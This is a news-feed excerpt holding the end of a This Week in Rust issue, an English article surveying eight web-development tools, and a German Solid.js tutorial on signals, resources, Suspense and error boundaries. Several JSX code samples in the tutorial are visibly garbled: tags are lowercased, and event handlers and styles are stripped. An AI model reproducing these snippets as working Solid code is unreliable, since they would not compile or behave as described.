<li>2026-06-26 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315014582/"><strong>Rust NYC's Big Summer Social</strong></a></li>
</ul>
</li>
<li>2026-07-02 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/315103359/"><strong>Git is easy?</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-06-11 | Brisbane City, QL, AU | <a href="https://www.meetup.com/rust-brisbane/events/">Rust Brisbane</a><ul>
<li><a href="https://www.meetup.com/rust-brisbane/events/315092980/"><strong>Rust Brisbane • June 2026</strong></a></li>
</ul>
</li>
<li>2026-06-25 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039461/"><strong>Rust Melbourne June 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-06-18 | Florianópolis, BR | <a href="https://luma.com/rust-sc">Rust SC</a><ul>
<li><a href="https://luma.com/acinctdf"><strong>Rust Floripa</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>It's a footgun, yes, but it's a sound footgun.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/155750#discussion_r3356323620">Prof. Dr. Ralf Jung on github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1779">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1u2rz3a/this_week_in_rust_655/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 cutting-edge web development tools you don’t want to miss]]></title>
<description><![CDATA[There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of l...]]></description>
<link>https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</guid>
<pubDate>Tue, 09 Jun 2026 11:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?</p>



<p>Here are eight cutting-edge web development tools that point the way. </p>



<h2 class="wp-block-heading">Front-end maestro</h2>



<p>If you put a bunch of classical musicians in a room together with sheet music and let them run, you <em>might </em>get to a cohesive piece—but you <em>probably </em>want a conductor, a maestro who coordinates all of the parts. That is <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a> for your front-end frameworks.</p>



<p>Astro addresses the “<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">hydration</a>” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its <a href="https://docs.astro.build/en/concepts/islands/" data-type="link" data-id="https://docs.astro.build/en/concepts/islands/">islands architecture</a> to hydrate only the specific components that demand interactivity. </p>



<p>Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.</p>



<p>See also: <a href="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html" data-type="link" data-id="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html">Qwik</a>. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.</p>



<h2 class="wp-block-heading">Biome: Lint like it’s 2026</h2>



<p><a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives <a href="https://biomejs.dev/">Biome</a> its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.</p>



<p>The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.</p>



<p>Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.</p>



<p>See also: <a href="https://rspack.rs/">Rspack</a>. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.</p>



<h2 class="wp-block-heading">Bun: Fast and integrated back-end JavaScript</h2>



<p>Most cutting-edge JavaScript enthusiasts are already well-aware of <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.</p>



<p>Fast is probably an understatement. If you are used to <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore. </p>



<p>However, while Bun’s <a href="https://www.infoworld.com/article/2338081/meet-the-zig-programming-language.html">Zig</a>-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. </p>



<p>See also: <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html" data-type="link" data-id="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (<a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>).</p>



<p>The Bun curious also may want to check out my interview with Bun creator <a href="https://www.infoworld.com/article/2338698/interview-with-jarred-sumner-buns-creator-talks-tech-funding-and-startups.html">Jared Sumner</a>.</p>



<h2 class="wp-block-heading">HTMX: Ajax KISS</h2>



<p>If we are talking about clever ways to de-complexify the web, <a href="https://www.infoworld.com/article/4150864/htmx-4-0-hypermedia-finds-a-new-gear.html">HTMX</a> could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" data-type="link" data-id="https://developer.mozilla.org/en-US/docs/Glossary/AJAX">Ajax</a> and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.</p>



<p>Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" data-type="link" data-id="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">get experimental</a> with a <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">local-first datastore</a>.</p>



<p>Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful</a> way to build it. And HTMX can in fact handle quite a lot.</p>



<p>See also: <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" data-type="link" data-id="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html">Hotwire</a>. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. </p>



<h2 class="wp-block-heading">PowerSync: Data layer redo</h2>



<p>Although the local-first data revolution that <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">PowerSync</a> represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.</p>



<p>Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.</p>



<p>The UI works on local data using <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">familiar SQL</a>, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.</p>



<p>The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.</p>



<p>See also: <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">RxDB</a>. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes. </p>



<h2 class="wp-block-heading">RooCode: Use any AI you want</h2>



<p>The beauty of <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html">RooCode</a> lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.</p>



<p>RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.</p>



<p>RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. </p>



<p>The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.</p>



<p>See also: <a href="https://antigravity.google/" data-type="link" data-id="https://antigravity.google/">Antigravity</a>. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.</p>



<h2 class="wp-block-heading">TanStack Query: Syncing made simple(r)</h2>



<p>Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where <a href="https://tanstack.com/query/latest">TanStack Query</a> steps into the breach.</p>



<p>Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. </p>



<p>Instead of using a bunch of manual fetches tied to <code>useState</code> updates, along with fragile <code>isLoading</code> flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background. </p>



<p>The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.</p>



<p>See also: <a href="https://swr.vercel.app/">SWR</a>. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.</p>



<h2 class="wp-block-heading">Zustand: Minimalist state</h2>



<p>If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction">Zustand</a> proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.</p>



<p>Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Signals</a>).</p>



<p>You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.</p>



<p>See also: <a href="https://jotai.org/" data-type="link" data-id="https://jotai.org/">Jotai</a>. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.</p>



<h2 class="wp-block-heading">New directions in web development</h2>



<p>The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Solid.js – ein Tutorial]]></title>
<description><![CDATA[Solid hinterlässt einen soliden Eindruck.baranq | shutterstock.com



Solid.js verfolgt einen einzigartigen Ansatz, wenn es um Reactive State Management geht. Das hat auch andere reaktive JavaScript-Frameworks maßgeblich beeinflusst. Solid bietet einen kompakten Satz reaktiver Primitive, die auf ...]]></description>
<link>https://tsecurity.de/de/3578761/it-security-nachrichten/solidjs-ein-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578761/it-security-nachrichten/solidjs-ein-tutorial/</guid>
<pubDate>Sun, 07 Jun 2026 06:06:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/09/baranq_shutterstock_461236648_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Solid 16z9" class="wp-image-4049702" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Solid hinterlässt einen soliden Eindruck.</figcaption></figure><p class="imageCredit">baranq | shutterstock.com</p></div>



<p><a href="https://www.solidjs.com/" target="_blank" rel="noreferrer noopener">Solid.js</a> verfolgt einen einzigartigen Ansatz, wenn es um Reactive State Management geht. Das hat auch andere <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">reaktive JavaScript-Frameworks</a> maßgeblich beeinflusst. Solid bietet einen kompakten Satz reaktiver Primitive, die auf “Signals” statt auf State basieren. Diese unterstützen Funktionen höherer Ordnung. Dank seines übersichtlichen Kerndesigns, das auf Geschwindigkeit ausgelegt ist und seinen Enterprise-Funktionen brachte es das Framework im Rahmen der aktuellen “<a href="https://2024.stateofjs.com/en-US" target="_blank" rel="noreferrer noopener">State of JavaScript</a>“-Umfrage auf einen beeindruckenden Wert von 90 Prozent bei der Entwicklerzufriedenheit.</p>



<p>Sämtliche Features von Solid schnell zu durchdringen, kann allerdings überwältigend sein. Die gute Nachricht: Sie können darauf vertrauen, dass Solid seinem Namen gerecht wird und mit robusten Funktionalitäten auch das Gros Ihrer Bedürfnisse abdeckt.</p>



<h2 class="wp-block-heading">Neues Projekt mit SolidStart aufbauen</h2>



<p>Wie andere Frameworks seiner Klasse bietet Solid eine Full-Stack-Plattform, die Funktionen wie serverseitiges Rendering (SSR) unterstützt. Das JavaScript-Framework verfügt zudem über ein <a href="https://www.computerwoche.de/article/2834573/9-kommandozeilen-tools-die-jeder-dev-braucht.html" target="_blank">Befehlszeilen-Tool</a>, um Projekte zu starten und zu verwalten. SolidStart ist dabei die offizielle Methode, um ein neues Solid-Projekt aufzubauen.</p>



<p>Nachdem ich kürzlich erste Erfahrungen mit <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html" target="_blank">Roo Code und Gemini in Visual Studio Code</a> gesammelt habe, kommt auch für dieses Tutorial dieser KI-gestützte Stack zum Einsatz. Der Vergleichbarkeit halber, habe ich jedoch auch manuell programmiert. Auf meinen Request hin hat Roo Code zunächst folgendes Gerüst für unser Solid-Projekt generiert:</p>



<pre class="wp-block-code"><code>npm create solid@latest -- --template typescript --name iw-solid-app</code></pre>



<p>Obwohl dieser Befehl sinnvoll ist, um ein neues Projekt mit einem Template und <a href="https://www.computerwoche.de/article/3982154/tutorial-von-javascript-zu-typescript.html" target="_blank">TypeScript</a> zu starten, war die KI leider nicht intelligent genug, um mit dem interaktiven CLI-Prompt zu interagieren. Nachdem ich einige Fragen der KI beantwortet hatte, resultierte der Befehl dann in einer Fehlermeldung. Also führte ich das Kommando aus, auf das ich normalerweise zurückgegriffen hätte: <code>npm create solid@latest</code>. Diese Mischung aus manueller und KI-unterstützter Programmierarbeit scheint der aktuelle Stand der Technik für moderne Entwicklungsprojekte zu sein. Es ist also weiterhin notwendig, tatsächlich zu verstehen, wie die Technologie funktioniert. </p>



<p>Um die App im Developer-Modus auszuführen, nutzen Sie: <code>$ npm run dev</code>. Wenn Sie nun <strong>http://localhost:3000</strong> aufrufen, sehen Sie folgendes Template:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/Solid-example-app-screenshot.png?w=1024" alt="Screenshot of the generated Solid application." class="wp-image-4046343" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p>Der Dev-Server unterstützt On-the-Fly-Updates einschließlich Hot Module Replacement (<a href="https://stackoverflow.com/questions/24581873/what-exactly-is-hot-module-replacement-in-webpack" target="_blank" rel="noreferrer noopener">HMR</a>). Wenn Sie also Änderungen an Dateien vornehmen, werden diese automatisch im Browser aktualisiert.</p>



<h2 class="wp-block-heading">Reactive State Management mit Signals</h2>



<p>Wie andere Frameworks auch, ermöglicht Solid es, Komponenten zu erstellen, um Funktionen im User Interface zu kapseln. Und wie React nutzt das Framework <a href="https://www.computerwoche.de/article/2831038/html-das-javascript-kann.html" target="_blank">JSX</a> als Template-Sprache. Die <code>counter.tsx</code>-Komponente von SolidStart vermittelt Ihnen eine Vorstellung davon, wie Signals in Solid genutzt werden, um den State zu managen:</p>



<pre class="wp-block-code"><code>import { createSignal } from "solid-js";
import "./Counter.css";

export default function Counter() {
  const [count, setCount] = createSignal(0);
  return (
    <button class="increment"> setCount(count() + 1)} type="button"&gt;
      Clicks: {count()}
    </button>
  );
}</code></pre>



<p>Das deckt sich weitgehend mit einer React-Komponente – mit dem Unterschied, dass React <code>useState</code> verwendet und nicht wie Solid <code>createSignal</code>. Signals funktionieren etwas anders als States: Sie ermöglichen dem Framework granularen Zugriff auf das Document Object Model (<a href="https://de.wikipedia.org/wiki/Document_Object_Model" target="_blank" rel="noreferrer noopener">DOM</a>). Die Engine kann dadurch jeweils nur den spezifischen Knoten aktualisieren, bei dem das nötig ist. Signals sind zudem auch allgemeinere Operatoren in Solid. Im Gegensatz dazu managt <code>useState</code> lediglich den Komponenten-State.</p>



<p>Zu beachten ist darüber hinaus, dass über den Call der Getter-Funktion auf Signals (wie <code>count</code>) zugegriffen wird – nicht direkt über die Variable.</p>



<h2 class="wp-block-heading">Signals &amp; Effects</h2>



<p>Weil Solid-Komponenten ein Funktionsaufruf sind, werden sie nur einmal ausgeführt, sobald sie erstellt werden. Sollten Sie auf ein Signal außerhalb des Templates zugreifen wollen, müssen Sie es in einen Effect “wrappen”. Innerhalb von JSX können Sie dazu einfach den Signal-Getter aufrufen, so wie wir es gerade mit <code>count()</code> getan haben. Sobald sich der reaktive Wert ändert, erhalten Sie ihn. Im Hauptteil der Funktion müssen Sie jedoch einen Effect einsetzen:</p>



<pre class="wp-block-code"><code>console.log("Count:",count()); // ❌ not tracked - only runs once during initialization.

createEffect(()=&gt;{  console.log(count()); // ✅ will update whenever `count()` changes.
});
// snippet from the docs</code></pre>



<p>Hierbei stellt <code>useEffect</code> eine Art Ad-hoc-Beobachter für Signals dar. Diese Funktion zu verwenden, empfiehlt sich immer dann, wenn Sie einen Effect außerhalb der Vorlage basierend auf einem Signal ausführen müssen. Mit <code>createSignal</code>, <code>createEffect</code> und der nativen Reaktivität von JSX stehen Ihnen die meisten grundlegenden <a href="https://www.computerwoche.de/article/2825632/was-ist-reactive-programming.html" target="_blank">Reactive-Elemente</a> zur Verfügung.</p>



<h2 class="wp-block-heading">Remote API abrufen</h2>



<p>Auf den Grundfunktionen von Signals fußen weitere Solid-Funktionen. Eine davon ist <code>createResource</code>. Mit dieser simplen Erweiterung von <code>createSignal</code> lassen sich asynchrone Requests auf reaktive Weise einfach handhaben. Wir verwenden diese Funktion, um eine “Witz-Komponente” zu erstellen, die zehn Witze aus der Joke-<a href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">API</a> abruft und anzeigt. Zunächst fügen wir dazu die Komponente in <code>index.tsx</code> ein:</p>



<pre class="wp-block-code"><code>import Joker from "~/components/Joker";
// …
<joker></joker></code></pre>



<p>Anschließend können wir im Komponentenverzeichnis eine simple Fetch-Operation erstellen:</p>



<pre class="wp-block-code"><code>import { createResource } from "solid-js";

const fetchProgrammingJokes = async () =&gt; {
  const response = await fetch(`https://official-joke-api.appspot.com/jokes/programming/ten`);
  return response.json();
};

export default function JokerSimple() {
  const [jokes] = createResource(fetchProgrammingJokes);

  return (
    <div>
      <h2>Raw Jokes JSON</h2>
      <pre>{JSON.stringify(jokes(), null, 2)}</pre>
    </div>
  );
}</code></pre>



<p>Diese Version weist weder Error Handling noch Display-Logik auf. Vielmehr besteht der Sinn darin, hervorzuheben, wie <code>createResource</code> die <code>createSignal</code>-Funktion umschließt und asynchrone Vorgänge wie <code>fetch</code> deutlich erleichtert. Der Knackpunkt liegt dabei darin, dass <code>fetchProgrammingJokes</code> ein <a href="https://www.computerwoche.de/article/4005772/promise-probleme-in-javascript-beheben.html" target="_blank">Promise</a> zurückgibt und der Call von <code>createResource</code> es ermöglicht, eine <code>jokes()</code>-Funktion zu erstellen, die sich frei im Template verwenden lässt, um die Ergebnisse zu erfassen.</p>



<h2 class="wp-block-heading">Idiomatische Loops in Solid</h2>



<p>Mit dem <code><for></for></code>– Element gestalten wir die Anzeige nun etwas gefälliger. Dabei handelt es sich um einen idiomatischen Loop, der eine bessere Performance gewährleisten soll als der funktionale <code>map</code>-Operator:</p>



<pre class="wp-block-code"><code>import { createResource, For } from "solid-js";
//...
<for each="{jokes()}">
  {(joke) =&gt; (
    <li key="{joke.id}">
      <strong>{joke.setup}</strong>
      <p>{joke.punchline}</p>
    </li>
  )}
</for></code></pre>



<p><code><for></for></code> ermöglicht, ein iterierbares Objekt – wie das <a href="https://www.computerwoche.de/article/2832516/das-grosse-javascript-array-tutorial.html" target="_blank">Array</a>, das vom <code>Jokes()</code>-Promise zurückgegeben wird – zu verarbeiten, wenn es aufgelöst wird. Um die Asynchronous-Resolution-Mechanismen müssen Sie sich nicht kümmern. Innerhalb des Loops haben wir zudem Zugriff auf das Iteratorobjekt <code>joke</code>. Dieses nutzen wir an dieser Stelle, um eine einfache Liste von Elementen, respektive Witzen, zu erstellen. Ein (mehr oder weniger witziges) Beispiel: <code>Wohin geht eine API zum Essen? Ins RESTaurant.</code></p>



<h2 class="wp-block-heading">Suspense Boundaries</h2>



<p>Die <code><suspense></suspense></code>-Komponente erleichtert es, Grenzen (Boundaries) zu definieren, an denen ein <a href="https://www.computerwoche.de/article/2833923/mit-promises-asynchron-programmieren.html" target="_blank">asynchroner</a> Ladevorgang seine verschiedenen States anzeigen kann. In der folgenden Beispielanwendung (die auf unserem vorherigen Beispiel aufbaut), sehen Sie <code><suspense></suspense></code> in Aktion:</p>



<pre class="wp-block-code"><code>import { createResource, For, Suspense } from "solid-js";
// ...
<suspense fallback="{&lt;p">Fetching jokes... please wait!}&gt;

<for each="{jokes()}">
  {(joke) =&gt; (
    <li key="{joke.id}">
      <strong>{joke.setup}</strong>
      <p>{joke.punchline}</p>
    </li>
  )}
</for>
</suspense></code></pre>



<p>Zu beachten ist hier, dass Sie <code><suspense></suspense></code> nicht mitteilen müssen, auf welches Promise oder welche Ressource es “wartet”. Es erkennt automatisch die asynchronen Vorgänge in seinem Inneren und wartet darauf, dass diese aufgelöst werden. In der Zwischenzeit werden Platzhalter anzeigt. Das gestaltet es sehr einfach, die Fetch States zu händeln.</p>



<h2 class="wp-block-heading">Error Boundaries</h2>



<p>Davon abgesehen ist es häufig nötig, für <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">Benutzeroberflächen</a> auch Boundaries für das Error Handling zu definieren. Auch diesen Prozess gestaltet Solid schmerzfrei:</p>



<pre class="wp-block-code"><code>import { createResource, For, Suspense, ErrorBoundary } from "solid-js";
<errorboundary fallback="{(err)"> (
    <div color: border: solid red padding: borderradius:>
      <h3>Failed to load jokes!</h3>
      <p>Error details: {err.message}</p>
    </div>
  )}
&gt;
   <suspense fallback="{&lt;p">Fetching punchlines... please wait!}&gt;
      <ul>
        <for each="{jokes()}">
          {(joke) =&gt; (
            <li key="{joke.id}">
              <strong>{joke.setup}</strong>
              <p>{joke.punchline}</p>
            </li>
          )}
        </for>
      </ul>
   </suspense>
 </errorboundary></code></pre>



